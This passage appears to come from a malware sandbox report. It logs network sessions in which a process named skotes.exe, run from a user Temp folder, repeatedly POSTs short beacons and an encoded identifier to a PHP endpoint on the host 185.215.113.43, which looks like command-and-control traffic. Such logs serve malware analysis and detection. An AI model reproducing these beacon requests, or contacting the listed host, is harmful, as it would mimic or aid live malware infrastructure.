Nov 18, 2024 21:06:53.161309004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:54.061433077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
86	192.168.2.4	50267	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:55.574158907 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:06:56.483958006 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
87	192.168.2.4	50268	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:06:58.111855030 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:06:59.033507109 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:06:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
88	192.168.2.4	50270	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:00.561696053 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:01.484477997 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
89	192.168.2.4	50271	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:03.117435932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:04.024482012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	50272	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:05.550873041 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:06.481446028 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	50273	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:08.105374098 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:09.013448954 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:08 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
92	192.168.2.4	50274	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:10.539083004 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:11.457397938 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:11 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
93	192.168.2.4	50275	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:13.091938972 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:14.021399021 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
94	192.168.2.4	50276	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:15.550288916 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:16.467421055 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
95	192.168.2.4	50277	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:18.103401899 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:19.033058882 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.4	50278	185.215.113.43	80

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:20.555207968 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:21.487030983 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
97	192.168.2.4	50279	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:23.109977961 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:24.025057077 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.4	50280	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:25.543828011 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:26.445224047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.4	50281	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:28.076188087 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:28.985709906 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
100	192.168.2.4	50282	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:30.510308981 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:31.442444086 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
101	192.168.2.4	50283	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:33.064440012 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:33.973707914 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.4	50284	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:35.550177097 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:36.476457119 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.4	50285	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:38.114157915 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:39.032636881 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.4	50286	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:40.547914028 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:41.470182896 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:41 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.4	50287	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:43.365855932 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:44.296222925 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.4	50288	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:45.820699930 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 33 32 39 37 30 42 31 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB32970B15A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 18, 2024 21:07:46.757224083 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50289	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 21:07:48.394823074 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 18, 2024 21:07:49.312526941 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
Nov 18, 2024 21:07:49.579144955 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 18 Nov 2024 20:07:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50290	185.215.113.43	80	280	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
